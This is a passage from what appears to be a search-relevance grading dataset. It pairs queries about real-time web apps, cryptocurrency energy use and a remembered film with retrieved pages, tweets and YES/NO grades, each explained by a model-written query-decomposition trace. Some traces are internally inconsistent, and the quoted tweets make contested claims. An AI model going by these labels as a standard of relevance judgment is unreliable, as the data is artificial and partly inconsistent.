                "model_trace": "Query Decomposition:\n1. {latest developments in AI-powered language models}: This document discusses the capabilities and advancements of large language models but does not specify the latest developments -> ([1], UNSATISFIED)\n2. {recent Twitter posts}: This document is a blog post and does not contain Twitter posts -> ([0], UNSATISFIED)\n3. {capabilities of large language models like GPT-3 or PaLM}: The document discusses the capabilities of large language models including GPT-3 and PaLM -> ([1], SATISFIED)\n4. {limitations of large language models like GPT-3 or PaLM}: The document does not clearly discuss the limitations of these models -> ([1], UNSATISFIED)\n\nAssessment: The document satisfies the subcomponent about the capabilities of large language models but does not address the latest developments, recent Twitter posts, or limitations. Therefore, it does not fully meet the user's query. NO."
            }
        ]
    },
    {
        "query": "I'm working on a web application that needs to handle real-time updates and notifications. For example, I have a chat feature where users can send messages to each other, and I want those messages to appear instantly on the recipient's screen without requiring a page refresh. What are some common strategies or technologies I can use to implement real-time functionality like this in a web app?",
        "grid_pos": [
            2,
            5
        ],
        "grid_pos_str": "Search Query Format: Context Query, Search Result Type: Github/StackOverflow/Code/Debugging Resource",
        "reasoning_trace": [
            "The queries cover a range of technical topics that require specific knowledge and resources to answer well, including:\n1. Structuring nested data in a CSV file for web scraping\n2. Finding open-source medical datasets for machine learning\n3. Choosing the right pathfinding algorithm for game AI\n4. Implementing real-time functionality like chat in a web app\n5. Recreating the retro UI style of Stranger Things in a personal project\nThese queries require the user to have a deep understanding of the respective domains, as well as familiarity with relevant tools, libraries, and best practices. The level of detail and nuance in each query makes them challenging for a standard search engine to answer comprehensively."
        ],
        "results": [
            {
                "grade": "YES",
                "title": "What is Long Polling?",
                "url": "https://www.pubnub.com/guides/long-polling/",
                "published_date": "2010-01-01",
                "text": "Long polling is used in real-time web applications to achieve near-instantaneous communication between the client and the web server. It is particularly useful in chat and messaging applications where real-time updates are crucial. In traditional HTTP communication, the client sends a new request to the server and waits for a response. This is known as short polling. However, in real-time scenarios, short polling may not be efficient as it requires frequent requests to the server, resulting in unnecessary network overhead and increased latency. On the other hand, long polling improves efficiency by keeping the request open for an extended period until new data is available. The server holds the request open and waits until it has new information to send back to the client. Once the server has new data, it responds to the client, which can then process the data and initiate a new long polling request. By maintaining a long-lived connection between the client and the server, long polling reduces the number of requests, minimizes latency, and improves real-time communication. This makes it ideal in use cases that require an effective technique for building scalable and responsive chat and messaging applications as well as other apps that make use of real time data like games. How does long polling work? Long polling is a technique used in real-time communication to achieve near-instantaneous message delivery between clients and servers. It is particularly useful in building chat and messaging applications where low latency and real-time updates are crucial. Traditionally, web browsers use a pull-based approach to fetch data from servers. The client sends a request to the server, which responds with the requested data. This approach, known as short polling, can create delays in communication as the client has to send requests to check for updates repeatedly. On the other hand, long polling is a push-based approach that allows the server to send updates to the client as soon as they are available. Here's how it works:",
                "model_trace": "Query Decomposition:\n1. {strategies or technologies for real-time updates in a web app}: This document discusses long polling, which is a strategy for real-time communication in web applications -> ([1], SATISFIED)\n2. {handling real-time updates and notifications}: The document explains how long polling can be used to achieve real-time updates, particularly in chat and messaging applications -> ([1], SATISFIED)\n3. {technologies for instant updates without page refresh}: Long polling is a technology that allows for instant updates without requiring a page refresh -> ([1], SATISFIED)\n\nAssessment: The document clearly explains long polling, a strategy that aligns with the user's need for real-time updates and notifications in a web application. It satisfies all the relevant subcomponents. YES."
            },
            {
                "grade": "YES",
                "title": "Real-Time Glossary: Comet Programming Paradigm",
                "url": "https://www.pubnub.com/learn/glossary/what-is-comet-programming/",
                "published_date": "2023-02-06",
                "text": "What is Comet (Programming)?\nComet is a web application design paradigm that describes a continuous, two-way interaction between a server and a web browser using native HTTP methods. It was conceived in order to provide a conceptual model for designing responsive and highly interactive web UIs without having to resort to browser plugins like Java applets.\nThe Comet approach turns the typical HTTP client-server model upside-down to enable a kind of reverse Ajax functionality, wherein the web server initiates a persistent HTTP connection with a client browser and actively pushes out data instead of waiting to serve responses. In other words, Comet represents a \"Push-Style\" or \"Server-Push\" mechanism in contrast with HTTP's \"Request/Response\" or \"Get/Pull\" mechanism.\nComet Techniques\nA number of HTTP techniques exist to achieve this event-driven interaction, including Ajax Push, HTTP Streaming, and HTTP Server Push. These techniques mainly rely on JavaScript to handle streamed events on the client side, while the messaging format is often in JSON or XML.\nA more modern example is WebSocket, a sophisticated transport protocol that borrows from the principles of Comet yet which offers a cleaner and more standardized realization of the idea. However, WebSocket stands on its own as a distinct protocol and is not generally considered to be a form of Comet.\nComet Model\nThe Comet model is often used for web apps that involve multi-user collaboration where latency must be kept as low as possible for a shared real-time experience. Traditionally, it has been used to provide support for collaborative document editing and multi-protocol chat.\nTo apply Comet in a web application, two broad methods are available:\n\nStreaming: Events are pushed from server to client over a single persistent connection, and are usually processed inside a hidden iframe on the page or via XMLHttpRequest.\n Long Polling: The browser polls the server for new events with a persistent request that is held open until it gets a response. When new data is avai",
                "model_trace": "Query Decomposition:\n1. {strategies or technologies for real-time updates and notifications}: The document discusses the Comet programming paradigm, which includes techniques such as Ajax Push, HTTP Streaming, and HTTP Server Push, which are relevant strategies for real-time updates -> ([1], SATISFIED)\n2. {applicable to web applications}: The document specifically mentions that Comet is a web application design paradigm and provides examples of its use in web apps like collaborative document editing and chat -> ([1], SATISFIED)\n3. {instant message updates in a chat feature}: The document mentions that Comet is used for multi-protocol chat, which aligns with the user's need for instant message updates in a chat feature -> ([2], SATISFIED)\n\nAssessment: The document satisfies all key subcomponents relevant to the query. YES."
            },
            {
                "grade": "YES",
                "title": "The WebSocket API (WebSockets) - Web APIs | MDN",
                "url": "https://developer.mozilla.org/en-US/docs/Web/API/WebSockets_API",
                "published_date": "2022-09-09",
                "text": "The WebSocket API is an advanced technology that makes it possible to open a two-way interactive communication session between the user's browser and a server. With this API, you can send messages to a server and receive event-driven responses without having to poll the server for a reply.\n Note: While a WebSocket connection is functionally somewhat similar to standard Unix-style sockets, they are not related. Interfaces \n WebSocket\n\nThe primary interface for connecting to a WebSocket server and then sending and receiving data on the connection.\n\nCloseEvent\n\nThe event sent by the WebSocket object when the connection closes.\n\nMessageEvent\n\nThe event sent by the WebSocket object when a message is received from the server.\n\nGuides \n AsyncAPI: A specification for describing event-driven architectures based on protocols like WebSocket. You can use it to describe WebSocket-based APIs just as you would describe REST APIs with the OpenAPI specification. Learn why you should consider using AsyncAPI with WebSocket and how to do so.\n HumbleNet: A cross-platform networking library that works in the browser. It consists of a C wrapper around WebSockets and WebRTC that abstracts away cross-browser differences, facilitating the creation of multi-user networking functionality for games and other apps.\n \u00b5WebSockets: Highly scalable WebSocket server and client implementation for C++11 and Node.js.\n Socket.IO: A long polling/WebSocket based third party transfer protocol for Node.js.\n SocketCluster: A pub/sub WebSocket framework for Node.js with a focus on scalability.\n WebSocket-Node: A WebSocket server API implementation for Node.js.\n Total.js: Web application framework for Node.js (Example: WebSocket chat)\n Faye: A WebSocket (two-ways connections) and EventSource (one-way connections) for Node.js Server and Client.\n SignalR: SignalR will use WebSockets under the covers when it's available, and gracefully fallback to other techniques and technologies when it isn't, while your application code stays the same.\n Caddy: A web server c",
                "model_trace": "Query Decomposition:\n1. [real-time updates and notifications]: The document discusses WebSockets, which are a common technology for real-time updates and notifications -> ([1], SATISFIED)\n2. [chat feature where messages appear instantly]: The document mentions WebSocket-based chat examples and relevant libraries -> ([1], SATISFIED)\n3. [common strategies or technologies for real-time functionality]: The document lists multiple technologies and strategies for implementing WebSockets and real-time functionality -> ([1], SATISFIED)\n\nAssessment: The document provides detailed information on WebSockets, including how they work, relevant libraries, and examples, which are all pertinent to implementing real-time updates and notifications in a web application. All key subcomponents are satisfied. YES."
            },
            {
                "grade": "YES",
                "title": "How I Use WebSockets To Make Updates In Real-Time - Medium",
                "url": "https://medium.com/@dev-john-nguyen/how-i-use-websockets-to-make-updates-in-real-time-e15b726f2b80",
                "published_date": null,
                "text": "How I use WebSockets to handle live updates for features like messaging, friend requests, etc. with RN &amp; Node.          In my MVP, I wanted to implement a messaging feature to give athletes the capability to network with other athletes. It\u2019s best for messaging features to include live messaging to meet the minimum standard of expectations from the users.  Photo by Christian Wiediger on Unsplash   To implement live messaging I took advantage of WebSockets. If you are unfamiliar with WebSockets,  \u201cA WebSocket is an advanced technology that makes it possible to open a two-way interactive communication session between the user\u2019s browser and a server. \u201d \u2014 Mozilla   I bet you can see how this can be extremely useful for making your app more interactive and engaging in other areas besides messaging. Many social media apps use WebSockets to create a live feed. Implementation App Software Stack    React Native     Firebase (Authentication)     Node     MongoDB     Dependencies     socket.io     socket.io-client    A popular package that is used to handle this WebSocket functionality is  Socket.IO . \u201cSocket.IO is a library that enables low-latency, bidirectional and event-based communication between a client and a server. It is built on top of the WebSocket protocol and provides additional guarantees like a fallback to HTTP long-polling or automatic reconnection.\u201d \u2014 Socket.IO Docs   image from https://socket.io/docs/v4/   I\u2019ll go through my implementation for both the server and client applications to give you an idea of I approached the configuration. Server Install the Socket.IO dependency (yarn install socket.io) in my Node environment. The folder structure is important in maintaining the scalability of an app. You want other developers to easily understand where files are located within your application. So I initiated a folder in my src folder called sockets (./src/sockets). In this sockets folder, I have three files:   auth.ts   instances.ts   connection.ts    auth.ts will contain the configuration to handle auth",
                "model_trace": "Query Decomposition:\n1. {Common strategies or technologies for real-time updates and notifications}: The document discusses the use of WebSockets for real-time updates and mentions other technologies and libraries like Socket.IO, React Native, Firebase, Node, and MongoDB -> ([1], SATISFIED)\n2. {Implementation for chat feature}: The document specifically mentions implementing a messaging feature using WebSockets and provides details on the server and client-side setup -> ([1], SATISFIED)\n3. {Handling real-time updates without page refresh}: The document explains how WebSockets enable two-way interactive communication, which supports real-time updates without requiring a page refresh -> ([1], SATISFIED)\n\nAssessment: The document satisfies all key subcomponents related to strategies, technologies, and implementation details for real-time updates in a web application. YES."
            },
            {
                "grade": "YES",
                "title": "Refresh chat box when new msg received - Stack Overflow",
                "url": "https://stackoverflow.com/questions/32570585/refresh-chat-box-when-new-msg-received",
                "published_date": null,
                "text": "I'm new to PHP. I'm going to make a simple web application using PHP, a chat box.\nI don't know a better way to refresh the chat window as soon as new msg received. The only thing that comes into my mind is refreshing page frequently. I know it's not a good idea.\nI know how to use AJAX, so I can refresh only the chat box (without refreshing whole page). But in AJAX also, client has to send a request.\nIs there a way to refresh the chat box by the server when a new msg received?\n    \n        \n    \n            \n                \n    \n    \n           \n    \n    \n         Racil Hilan   25.1k 13 gold badges 54 silver badges 60 bronze badges\n        \n    \n            \n    \n        \n            asked Sep 14, 2015 at 17:34\n        \n        \n    \n    \n           \n    \n    \n        \n    \n             2 \n    \n                \n                \n                \n                    \n                                    \n    \n    \nThe standard communication order in web applications is that HTTP requests are initiated by the web client (browser) and then responded by the server.\nWhat you would need is that the roles are reversed and the server machine requests the client machine to receive a message. \nThis is called a server push. The linked Wikipedia article lists a lot of workarounds. \nThe client repeatedly asking the server if a new message has arrived is the simplest method, it is called polling, but done with a high frequency puts stress on the server (multiplied if several clients do this) and with a low frequency is not responsive enough for many use cases.\nDespite the big font used by fellow user emsch, WebSockets are not feasible for everyone (yet), as not every browser supports it.\nCompare your browser/os matrix e.g. with browser implementation.\nMy favourite a couple of years ago was BOSH, which I preferred to other methods like Comet: BOSH needs a connection held by the server for the server to be responsive and a potential second connection to the server for the client to be response. As timeouts can happen, empty exchan",
                "model_trace": "Query Decomposition:\n1. {strategies or technologies for real-time updates and notifications}: The document discusses various methods for refreshing a chat box in real-time, such as AJAX, server push, polling, WebSockets, BOSH, and Comet -> ([1], SATISFIED)\n2. {implementation in a web app}: The document provides practical advice and considerations for implementing real-time updates in a web application context -> ([1], SATISFIED)\n\nAssessment: The document provides a detailed discussion on various strategies and technologies for implementing real-time updates in a web application, specifically in the context of a chat feature. Both key subcomponents are satisfied. YES"
            },
            {
                "grade": "YES",
                "title": "WebSockets and Real-Time Applications | by Emily Lim - Medium",
                "url": "https://emily-elim04.medium.com/building-real-time-apps-using-websockets-dc137ccdd34b",
                "published_date": null,
                "text": "Open in app\n            Sign up\n              Sign in\n                  Write\n              Sign up\n                Sign in\n                        WebSockets and Real-Time Applications\n                                                Emily Lim\n                                          \u00b7\n                                          Follow\n                                        10 min read\n                                          \u00b7\n                                        Mar 7, 2021\n                                        --\n                                      2\n                                                    Listen\n                                          Share\n                      An intro guide to WebSockets\n                      Preface\n                      As a developer, (especially a new one like me) it can be intimidating opening yourself up to learning about the world of technology. Every day I often find myself saying \u201cWhat the heck is that?!\u201d. And every day, after doing a little research on my previously stated conundrum, I also find myself saying \u201cWow, that is so neat!\u201d. (I\u2019m serious I do say that\u2026) However, that is what I love most about becoming a software developer, the continuous learning that it provides me with. Speaking of continuous learning\u2026 one of those topics that gave me a big question mark over my head was WebSockets. So, I thought I would write an intro guide on what I learned and how they are used in real-time applications. Cue the lights, the music, \u2026. let\u2019s get into WebSockets.\n                      So what exactly is a WebSocket?\n                      Well person of the internet, I am glad you asked. According to the MDN Web Docs the WebSocket API is \u2026\n                      \u2026 an advanced technology that makes it possible to open a two-way interactive communication session between the user\u2019s browser and a server. With this API, you can send messages to a server and receive event-driven responses without having to poll the server for a reply.\n                      Wait\u2026 What is n",
                "model_trace": "Query Decomposition:\n1. {Real-time updates and notifications}: The document discusses WebSockets, which are a common strategy for implementing real-time updates and notifications -> ([1], SATISFIED)\n2. {Technologies for real-time functionality in web apps}: The document provides information on WebSockets, which is a technology used for real-time functionality in web applications -> ([1], SATISFIED)\n3. {Example of a chat feature}: The document does not specifically mention a chat feature but discusses WebSockets, which can be used in chat applications -> ([2], SATISFIED)\n\nAssessment: The document provides relevant information on WebSockets, a common technology for real-time updates and notifications in web applications. Therefore, it satisfies the key subcomponents of the query. YES."
            }
        ]
    },
    {
        "query": "I'm doing a research paper on the environmental impact of cryptocurrency mining. Can you find me some Twitter threads that discuss the energy consumption and carbon footprint of Bitcoin, Ethereum, and other major cryptocurrencies?",
        "grid_pos": [
            2,
            6
        ],
        "grid_pos_str": "Search Query Format: Context Query, Search Result Type: Twitter",
        "reasoning_trace": [
            "1. The first query is looking for recent Twitter discussions on the capabilities and limitations of large language models like GPT-3 and PaLM. This requires a good understanding of the current state of AI and language models.\n\n2. The second query is about a new type of renewable energy technology using ocean currents. The user is looking for Twitter discussions on the science and technology behind this.\n\n3. The third query is about the environmental impact of cryptocurrency mining, specifically the energy consumption and carbon footprint. The user wants to find relevant Twitter threads on this topic.\n\n4. The fourth query is the user trying to remember the title of an animated movie they saw as a child, which sounds like \"Howl's Moving Castle\". Providing the answer in the reasoning section.\n\n5. The fifth query is a middle school science teacher looking for engaging Twitter accounts that post about new discoveries in STEM fields, to share with their students."
        ],
        "results": [
            {
                "grade": "NO",
                "title": "",
                "url": "https://twitter.com/DarinFeinstein/status/1534989309819994125",
                "published_date": "2022-06-09",
                "text": "Responding to #Bitcoin Energy FUD (June/22)\n\nAny environmentalist that says #Bitcoin energy use is a GLOBAL problem is lying, uninformed or intellectually confused\n\nThe Global Bitcoin Network uses just 16 basis points of the worlds energy 16/100 of 1%\n\nAn inconsequential amount\n1 https://twitter.com/DarinFeinstein/status/1534989309819994125/photo/1| created_at: Thu Jun 09 20:02:24 +0000 2022 | favorite_count: 1295 | quote_count: 97 | reply_count: 185 | retweet_count: 537 | is_quote_status: False | retweeted: False | lang: en Knowing that #Bitcoin accounts for just 16 basis points energy, it is impossible to comprehend @wef and @Newsweek predictions in 2017 which stated...\n\nThe Bitcoin Network is \"On Track to consume ALL of the World's Energy by 2020\"\n\n99.984% incorrect\n\n2 https://twitter.com/DarinFeinstein/status/1534989316426022928/photo/1| created_at: Thu Jun 09 20:02:26 +0000 2022 | favorite_count: 193 | quote_count: 1 | reply_count: 6 | retweet_count: 27 | is_quote_status: False | retweeted: False | lang: en The @wef and @Newsweek relied on data compiled from 2015 - 2017 that ignored chip efficiencies\n\nThe problem with that is\n\nToday #Bitcoin is:\n\n41,000 times more efficient than it was in 2009\n\nand\n\n400 times more efficient than it was when the first ASICs were introduced\n\n3 https://twitter.com/DarinFeinstein/status/1534989321593405466/photo/1| created_at: Thu Jun 09 20:02:27 +0000 2022 | favorite_count: 160 | quote_count: 1 | reply_count: 8 | retweet_count: 21 | is_quote_status: False | retweeted: False | lang: en In addition to the total energy used globally being inconsequential\n\nEvery year the world wastes 50,000 TWh of energy\n\nThe global energy wasted can power over 200 #Bitcoin Networks\n\n4 https://twitter.com/DarinFeinstein/status/1534989327180218392/photo/1| created_at: Thu Jun 09 20:02:28 +0000 2022 | favorite_count: 169 | quote_count: 2 | reply_count: 3 | retweet_count: 24 | is_quote_status: False | retweeted: False | lang: en Every year in the United States 6,800 TWh of energy is WASTED\n\nThe WASTED",
                "model_trace": "Query Decomposition:\n1. {Twitter threads}: This document is a Twitter thread -> ([1], SATISFIED)\n2. {discuss the energy consumption of Bitcoin, Ethereum, and other major cryptocurrencies}: This thread discusses the energy consumption of Bitcoin but does not mention Ethereum or other major cryptocurrencies -> ([1], UNSATISFIED)\n3. {discuss the carbon footprint of Bitcoin, Ethereum, and other major cryptocurrencies}: This thread does not discuss the carbon footprint of any cryptocurrency -> ([1], UNSATISFIED)\n\nAssessment: The document only satisfies the subcomponent related to being a Twitter thread and discussing Bitcoin's energy consumption. It does not cover Ethereum, other major cryptocurrencies, or their carbon footprints. NO."
            },
            {
                "grade": "YES",
                "title": "",
                "url": "https://twitter.com/smdiehl/status/1350869944888664064",
                "published_date": "2021-01-17",
                "text": "Let's discuss the environmental cost of bitcoin. Because despite all the push for sustainable and green investment in the tech sector, there's a giant smoldering Chernobyl sitting at the heart of Silicon Valley which a lot of investors would prefer you remain quiet about. \ud83e\uddf5 (1/)| created_at: Sun Jan 17 18:17:47 +0000 2021 | favorite_count: 16161 | quote_count: 2165 | reply_count: 2 | retweet_count: 7686 | is_quote_status: False | retweeted: False | lang: en TLDR on bitcoin economics: It's a pyramid-shaped investment scheme backed by the collective delusion that value can created out of nothing by convincing greater fools to buy it after you do. (2/)\nhttps://twitter.com/smdiehl/status/1349307219318345728| created_at: Sun Jan 17 18:22:18 +0000 2021 | favorite_count: 3262 | quote_count: 190 | reply_count: 2 | retweet_count: 695 | is_quote_status: True | retweeted: False | lang: en That alone is sufficiently awful on its own merits, but on top of this the environmental damages of bitcoin are enough to make even Greta Thunberg weep at the pointless waste of it all. (3/)| created_at: Sun Jan 17 18:25:15 +0000 2021 | favorite_count: 1542 | quote_count: 18 | reply_count: 1 | retweet_count: 116 | is_quote_status: False | retweeted: False | lang: en The underlying technology of bitcoin is based on the notion of \"mining\", a technical term for a process that keeps the network running and processing transactions. (4/)| created_at: Sun Jan 17 18:27:19 +0000 2021 | favorite_count: 1322 | quote_count: 8 | reply_count: 1 | retweet_count: 97 | is_quote_status: False | retweeted: False | lang: en I won't cover the details of the algorithm, suffice it to say the premise of bitcoin mining is to prove how much power you can waste, and the more power you can waste, the more tokens you can probabilistically secure in exchange for your energy waste. (5/)| created_at: Sun Jan 17 18:28:02 +0000 2021 | favorite_count: 2097 | quote_count: 47 | reply_count: 1 | retweet_count: 316 | is_quote_status: False | retweeted: False | lang: en And so p",
                "model_trace": "Query Decomposition:\n1. {Twitter threads}: This document is a Twitter thread -> ([1], SATISFIED)\n2. {discuss the energy consumption and carbon footprint of Bitcoin, Ethereum, and other major cryptocurrencies}: The thread discusses the environmental cost of Bitcoin, specifically focusing on energy consumption and waste -> ([1], SATISFIED)\n\nAssessment: The document satisfies both key subcomponents, as it is a Twitter thread discussing the environmental impact of Bitcoin mining, including energy consumption and waste. YES."
            },
            {
                "grade": "NO",
                "title": "",
                "url": "https://twitter.com/PeterDiamandis/status/1398374332611629065",
                "published_date": "2021-05-28",
                "text": "I'd like to challenge some of the arguments against #Bitcoin with the help of @APompliano and @michael_saylor. Thread \ud83e\uddf5| created_at: Fri May 28 20:23:16 +0000 2021 | favorite_count: 4018 | quote_count: 58 | reply_count: 235 | retweet_count: 882 | is_quote_status: False | retweeted: False | lang: en 1/ Argument 1: Bitcoin is used by lots of criminals. This is true. Criminals also use USD and many other currencies.| created_at: Fri May 28 20:23:16 +0000 2021 | favorite_count: 571 | quote_count: 8 | reply_count: 25 | retweet_count: 30 | is_quote_status: False | retweeted: False | lang: en 2/ The currency of choice for money launderers, terrorists, drug dealers, and criminals around the world is still physical cash which is untraceable to a large extent.| created_at: Fri May 28 20:23:16 +0000 2021 | favorite_count: 514 | quote_count: 2 | reply_count: 10 | retweet_count: 26 | is_quote_status: False | retweeted: False | lang: en 3/ In @apompliano's article he references a report that suggests more that $2 trillion was laundered through the legacy banking system in 2020. This is more than double the mkt cap of Bitcoin and just one year.| created_at: Fri May 28 20:23:16 +0000 2021 | favorite_count: 530 | quote_count: 2 | reply_count: 14 | retweet_count: 35 | is_quote_status: False | retweeted: False | lang: en 4/ Argument 2: Bitcoin needs to be regulated. It is regulated. Every transaction is taxed by many countries. It\u2019s subject to regulation by the CFTC and SEC labels it as an \"investment contract\" in many circumstances. Linking to reference at the bottom of this Tweet.| created_at: Fri May 28 20:23:17 +0000 2021 | favorite_count: 382 | quote_count: 1 | reply_count: 10 | retweet_count: 19 | is_quote_status: False | retweeted: False | lang: en 5/ \"Bitcoin is not thriving because of lack of regulation, nor is it thriving because of illegal activity. Bitcoin is more regulated than other currencies and has less illicit usage too.\" - @APompliano| created_at: Fri May 28 20:23:17 +0000 2021 | favorite_count: 360 | quote_count",
                "model_trace": "Query Decomposition:\n1. {Twitter threads}: This document is a Twitter thread -> ([1], SATISFIED)\n2. {discuss energy consumption and carbon footprint of Bitcoin, Ethereum, and other major cryptocurrencies}: This document discusses arguments against Bitcoin, including its use by criminals and regulation, but does not mention energy consumption or carbon footprint -> ([1], UNSATISFIED)\n\nAssessment: The relevant subcomponent is {discuss energy consumption and carbon footprint of Bitcoin, Ethereum, and other major cryptocurrencies}, which is not satisfied. NO."
            },
            {
                "grade": "NO",
                "title": "What's the Environmental Impact of Cryptocurrency?",
                "url": "https://www.investopedia.com/tech/whats-environmental-impact-cryptocurrency/",
                "published_date": null,
                "text": "Many people are bullish about cryptocurrencies like Bitcoin, but detractors point to a major flaw\u2014cryptocurrency mining is highly energy-intensive. While mining is just one method available to validate cryptocurrency transactions and mint new crypto coins, it's the method used by Bitcoin and Ethereum, the two leading cryptocurrencies.\nKeep reading to find out how much energy is used by cryptocurrency mining, and understand the other environmental impacts of cryptocurrency. Learn about alternatives to crypto mining that use much less energy.\nKey Takeaways\n Bitcoin and other proof-of-work cryptocurrencies require large amounts of energy\u2014more than is used by entire countries\u2014to perform the work associated with crypto mining. The largest country for Bitcoin mining is the United States, which accounts for 37.84% of Bitcoin mining activities. Nearly 38 kilotons of electronic waste are annually produced as a byproduct of Bitcoin mining. Some cryptocurrencies do not use mining, but Bitcoin is unlikely to change its consensus algorithm.  \nBitcoin Mining Explained\n Cryptocurrency Energy Consumption \nThere is no direct way to calculate how much energy is used for Bitcoin and cryptocurrency mining, but the figure can be estimated from the network's hashrate and the consumption by commercially-available mining rigs. For example, the Cambridge Bitcoin Electricity Consumption Index estimates that Bitcoin, the most widely-mined cryptocurrency network, used an estimated 85 Terawatt-hours (TWh) of electricity (0.38% of global electricity use) and about 218 TWh of energy (0.13% of global energy production) at the point of production\u2014more than Belgium and Finland, using the latest country energy estimates from 2019.\nAnother estimate by Digiconomist, a cryptocurrency analytics site, places the figure at 130.3 Terawatt-hours, based on energy consumption through July 9, 2022. This computes to around 1,455.8 kilowatt-hours of electricity per transaction, the same amount of power consumed by the average American household over 49.9 days.",
                "model_trace": "Query Decomposition:\n1. [Twitter threads]: The document is a web page from Investopedia, not Twitter threads -> ([0], UNSATISFIED)\n2. [discuss the energy consumption and carbon footprint of Bitcoin, Ethereum, and other major cryptocurrencies]: The document does discuss the energy consumption and environmental impact of Bitcoin and other cryptocurrencies -> ([1], SATISFIED)\n\nAssessment: The document satisfies the subcomponent related to discussing the energy consumption and carbon footprint of cryptocurrencies but does not satisfy the requirement for Twitter threads. Since the document does not meet the primary format requested (Twitter threads), it is unhelpful for the user's query. NO."
            },
            {
                "grade": "NO",
                "title": "UN Study Reveals the Hidden Environmental Impacts of ...",
                "url": "https://unu.edu/press-release/un-study-reveals-hidden-environmental-impacts-bitcoin-carbon-not-only-harmful-product",
                "published_date": null,
                "text": "Hamilton, Canada, 24 October 2023 \u2014 The extraordinary rise in cryptocurrency prices over the previous decade has prompted huge investments in the cryptocurrency sector. Undeniably, digital currencies have won the faith of the world's top investors, ranging from large corporations and tech millionaires to criminals, money launderers, and sanction busters.\nThanks to blockchain and other technological breakthroughs, digital currencies now constitute an advanced element of the world\u2019s modern financial system. They are said to even have the potential to crush the world\u2019s strongest currencies.\u00a0\nThe surge in the crypto market is comparable to the gold rush. Yet, this exciting market has a hidden dark side. Mining cryptocurrencies can have major environmental impacts on climate, water, and land, according to new research by United Nations scientists.\u00a0\nBitcoin is the most renowned and popular cryptocurrency. This motivated the UN scientists to evaluate the environmental impacts of Bitcoin across the world by looking at the activities of 76 Bitcoin mining nations during the 2020\u20132021 period. The results are shocking. In addition to a substantial carbon footprint, global Bitcoin mining activities have significant water and land footprints.\n\u201cTechnological innovations are often associated with unintended consequences and Bitcoin is no exception,\u201d said Professor Kaveh Madani, the Director of the United Nations University Institute for Water, Environment and Health (UNU-INWEH), who led this study. \u201cOur findings should not discourage the use of digital currencies. Instead, they should encourage us to invest in regulatory interventions and technological advancements that improve the efficiency of the global financial system without harming the environment.\u201d\nAccording to study results, published by the United Nations University and Earth\u2019s Future journal, during the 2020\u20132021 period, the global Bitcoin mining network consumed 173.42 Terawatt hours of electricity. This means that if Bitcoin were a country, its energy consumption wo",
                "model_trace": "Query Decomposition:\n1. {Twitter threads}: The document does not contain Twitter threads -> ([0], UNSATISFIED)\n2. {discuss the energy consumption and carbon footprint of Bitcoin, Ethereum, and other major cryptocurrencies}: The document discusses the environmental impact of Bitcoin mining, including energy consumption and carbon footprint, but does not mention Ethereum or other cryptocurrencies -> ([1], UNSATISFIED)\n\nAssessment: The document does not contain Twitter threads and only partially covers the topic by discussing Bitcoin but not Ethereum or other major cryptocurrencies. Therefore, it does not meet the user's needs. NO."
            },
            {
                "grade": "NO",
                "title": "The Carbon Footprint of Bitcoin",
                "url": "https://ceepr.mit.edu/wp-content/uploads/2021/09/2018-018.pdf",
                "published_date": null,
                "text": "https://ceepr.mit.edu/wp-content/uploads/2021/09/2018-018.pdf\nNone\nNone\nNone\nThe Carbon \nFootprint of Bitcoin\nChristian Stoll, Lena Klaa\u00dfen, and Ulrich Gallersd\u00f6rfer\nMASSACHUSETTS INSTITUTE OF TECHNOLOGY\nDecember 2018 CEEPR WP 2018-018\nWorking Paper Series\nThe Carbon Footprint of Bitcoin\nChristian Stoll,\n1,2,* Lena Klaa\u00dfen,3 Ulrich Gallersd\u00f6rfer4\nAbstract\nBlockchain began with Bitcoin, which was the first successful attempt to validate transactions via \na decentralized data protocol. Participation in its validation process requires specialized hardware \nand vast amounts of electricity, which translate into a significant carbon footprint. Here we \ndemonstrate a methodology for estimating the power consumption associated with Bitcoin\u2019s \nblockchain based on IPO filings of major hardware manufacturers, insights on mining facility \noperations, and mining pool compositions. We then translate our power consumption estimate into \ncarbon emissions, using the localization of IP addresses. We determine the annual electricity \nconsumption of Bitcoin, as of November 2018, to be 48.2 TWh, and estimate that annual carbon\nemissions range from 21.5 to 53.6 MtCO2. The means that the level of emissions produced by \nBitcoin sits between the levels produced by the nations of Bolivia and Portugal. With this article, \nwe aim to gauge the external costs of Bitcoin, and inform the broader debate on the costs and \nbenefits of cryptocurrencies. The externalities we discuss here may help policy-makers in setting\nthe right rules as the adoption journey of blockchain has just started.\n \n1 MIT Center for Energy and Environmental Policy Research, Massachusetts Institute of Technology, Cambridge, MA \n02139, USA \n2 TUM Center for Energy Markets, TUM School of Management, Technical University of Munich, Germany\n3 TUM School of Management, Technical University of Munich, Germany\n4 TUM Software Engineering for Business Information Systems, Department of Informatics, Technical University of \nMunich, Germany\n* Contact: cstoll@mit.edu\n1\nIntroduction\nIn",
                "model_trace": "Query Decomposition:\n1. {Twitter threads}: The document is a PDF from MIT and not a Twitter thread -> ([1], UNSATISFIED)\n2. {discuss the energy consumption and carbon footprint of Bitcoin, Ethereum, and other major cryptocurrencies}: The document discusses the carbon footprint and energy consumption of Bitcoin specifically, but not Ethereum or other major cryptocurrencies -> ([1], UNSATISFIED)\n\nAssessment: The relevant subcomponents are {Twitter threads} and {discuss the energy consumption and carbon footprint of Bitcoin, Ethereum, and other major cryptocurrencies}. Since neither of these subcomponents are satisfied, the document is not helpful for the user's request. NO."
            }
        ]
    },
    {
        "query": "I'm trying to remember the name of this animated movie I saw as a kid. It had a big, weird house that could walk on chicken legs, and there was a young girl who turned old and fell in love with a wizard. I think the title had something to do with the moving house. Can you see if anyone on Twitter has discussed this film?",
        "grid_pos": [
            2,
            6
        ],
        "grid_pos_str": "Search Query Format: Context Query, Search Result Type: Twitter",
        "reasoning_trace": [
            "1. The first query is looking for recent Twitter discussions on the capabilities and limitations of large language models like GPT-3 and PaLM. This requires a good understanding of the current state of AI and language models.\n\n2. The second query is about a new type of renewable energy technology using ocean currents. The user is looking for Twitter discussions on the science and technology behind this.\n\n3. The third query is about the environmental impact of cryptocurrency mining, specifically the energy consumption and carbon footprint. The user wants to find relevant Twitter threads on this topic.\n\n4. The fourth query is the user trying to remember the title of an animated movie they saw as a child, which sounds like \"Howl's Moving Castle\". Providing the answer in the reasoning section.\n\n5. The fifth query is a middle school science teacher looking for engaging Twitter accounts that post about new discoveries in STEM fields, to share with their students."
        ],
        "results": [
            {
                "grade": "NO",
                "title": "",
                "url": "https://twitter.com/ralphbakshi/status/1672691267439067136",
                "published_date": "2023-06-24",
